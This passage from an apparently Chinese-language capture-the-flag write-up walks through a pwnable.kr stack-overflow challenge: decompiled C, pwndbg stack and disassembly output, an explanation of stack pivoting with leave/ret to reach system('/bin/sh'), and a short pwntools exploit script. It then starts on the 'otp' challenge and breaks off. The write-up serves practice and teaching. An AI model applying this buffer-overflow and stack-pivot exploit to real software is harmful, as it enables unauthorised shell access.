</span></span><span class="line"><span class="ln">43</span><span class="cl">    <span class="c1">// 这里v2并没有值，他在计算什么？
</span></span></span><span class="line"><span class="ln">44</span><span class="cl">  <span class="n">s2</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="nf">calc_md5</span><span class="p">(</span><span class="n">v2</span><span class="p">,</span> <span class="mi">12</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">  <span class="nf">_printf</span><span class="p">(</span><span class="s">&#34;hash : %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">s2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">  <span class="k">return</span> <span class="nf">strcmp</span><span class="p">(</span><span class="s">&#34;f87cd601aa7fedca99018a8be88eda34&#34;</span><span class="p">,</span> <span class="n">s2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="kt">void</span> <span class="n">__noreturn</span> <span class="nf">correct</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">input</span> <span class="o">==</span> <span class="o">-</span><span class="mi">559038737</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">    <span class="nf">IO_puts</span><span class="p">(</span><span class="s">&#34;Congratulation! you are good!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">    <span class="nf">_libc_system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">  <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>看到这里就差不多了，很明显解码后存到v5，长度最多12字节，把v5复制到input，auth函数把input复制给v4，可是v4显示[ebp-8h]，说明他离栈底很近，可以溢出，返回地址覆盖为correct函数的binsh就行。</p>
<p>调试：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; stack
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">00:0000│ esp 0xffffdb10 —▸ 0xffffdb30 ◂— &#39;KKKK\n&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">01:0004│-024 0xffffdb14 —▸ 0x811eb40 (input) ◂— &#39;KKKK\n&#39;
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">02:0008│-020 0xffffdb18 ◂— 5
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">03:000c│-01c 0xffffdb1c —▸ 0x8120aa8 —▸ 0x811b8d0 (main_arena+48) —▸ 0x8120be8 ◂— 0
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">04:0010│-018 0xffffdb20 —▸ 0x8120aa8 —▸ 0x811b8d0 (main_arena+48) —▸ 0x8120be8 ◂— 0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">05:0014│-014 0xffffdb24 —▸ 0x81209e8 —▸ 0x811b8d0 (main_arena+48) —▸ 0x8120be8 ◂— 0
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">06:0018│-010 0xffffdb28 ◂— 5
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">07:001c│-00c 0xffffdb2c ◂— 5
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">pwndbg&gt; p $ebp
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="gp">$</span><span class="nv">1</span> <span class="o">=</span> <span class="o">(</span>void *<span class="o">)</span> 0xffffdb38
</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>可以看到KKKK存在了0xffffdb30，与ebp差0x8，看一下system地址在0x08049284</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; disass correct
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Dump of assembler code for function correct:
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">   0x0804925f &lt;+0&gt;:     push   ebp
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">   0x08049260 &lt;+1&gt;:     mov    ebp,esp
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">   0x08049262 &lt;+3&gt;:     sub    esp,0x28
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">   0x08049265 &lt;+6&gt;:     mov    DWORD PTR [ebp-0xc],0x811eb40
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">   0x0804926c &lt;+13&gt;:    mov    eax,DWORD PTR [ebp-0xc]
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">   0x0804926f &lt;+16&gt;:    mov    eax,DWORD PTR [eax]
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">   0x08049271 &lt;+18&gt;:    cmp    eax,0xdeadbeef
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">   0x08049276 &lt;+23&gt;:    jne    0x8049290 &lt;correct+49&gt;
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">   0x08049278 &lt;+25&gt;:    mov    DWORD PTR [esp],0x80da651
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">   0x0804927f &lt;+32&gt;:    call   0x805c2d0 &lt;puts&gt;
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">   0x08049284 &lt;+37&gt;:    mov    DWORD PTR [esp],0x80da66f
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">   0x0804928b &lt;+44&gt;:    call   0x805b2b0 &lt;system&gt;
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">   0x08049290 &lt;+49&gt;:    mov    DWORD PTR [esp],0x0
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">   0x08049297 &lt;+56&gt;:    call   0x805a6a0 &lt;exit&gt;
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">End of assembler dump.
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>所以，发送8字节垃圾数据 + 4字节垃圾数据 + system地址，然后base64传入，这样不行的，因为我们只能输入12字节数据，最多覆盖到ebp</p>
<p>所以用到栈迁移技术，就是利用leave把栈迁移到可控的位置。</p>
<p>贴两个很好的教程：</p>
<ul>
<li><a
  href="https://www.cnblogs.com/max1z/p/15299000.html" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.cnblogs.com/max1z/p/15299000.html<span style="user-select:none"> ↗</span></a
>
</li>
<li><a
  href="https://www.uf4te.cn/posts/92acfead.html" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.uf4te.cn/posts/92acfead.html<span style="user-select:none"> ↗</span></a
>
</li>
</ul>
<p>讲得非常好。</p>
<p>所以，我们应该是8垃圾数据 + 4 跳转地址，但是跳到哪里可以有现成的栈呢，程序里面并没有，所以利用那8个垃圾数据制作栈</p>
<p>input内部结构：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">AAAA
</span></span><span class="line"><span class="ln">2</span><span class="cl">system
</span></span><span class="line"><span class="ln">3</span><span class="cl">input地址</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>ebp被覆写为input地址，auth函数退出时候，leave（mov esp，ebp；pop ebp）的时候，esp也指向这个地址，然后pop ebp，此时ebp就指向input了，同时esp+0x4。随后的ret会返回到main函数。</p>
<p>经过一系列步骤，需要退出main函数，此时，leave，会导致esp指向input，然后pop ebp，导致ebp指向0xAAAA地址，同时，esp + 0x4，移动到了system上面，ret（pop eip），就把system赋给了eip，下一步就执行了system。</p>
<p>所以exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;0&#39;</span><span class="p">,</span> <span class="mi">9003</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="mh">0x08049284</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nb">input</span> <span class="o">=</span> <span class="mh">0x0811eb40</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">system</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="nb">input</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="otp">otp<a class="anchor" href="#otp">#</a></h3>
<blockquote>
<p>I made a skeleton interface for one time password authentication system.
I guess there are no security mistakes. could you take a look at it?</p>
<p>Hint : no need to brute-force</p>
<p>ssh <a
  href="mailto:otp@pwnable.kr"
  >otp@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>这题只能用原生ssh连接，貌似禁止了termius那种有界面的转发。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="gp">$</span> ./otp
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">usage : ./otp [passcode]
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="gp">$</span> ./otp <span class="m">123456</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">OTP generated.
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">OTP mismatch
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="gp">$</span> checksec ./otp
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">[*] &#39;/home/otp/otp&#39;
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">    Arch:       amd64-64-little
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">    RELRO:      Full RELRO
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">    PIE:        PIE enabled
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">    SHSTK:      Enabled
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">    IBT:        Enabled
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
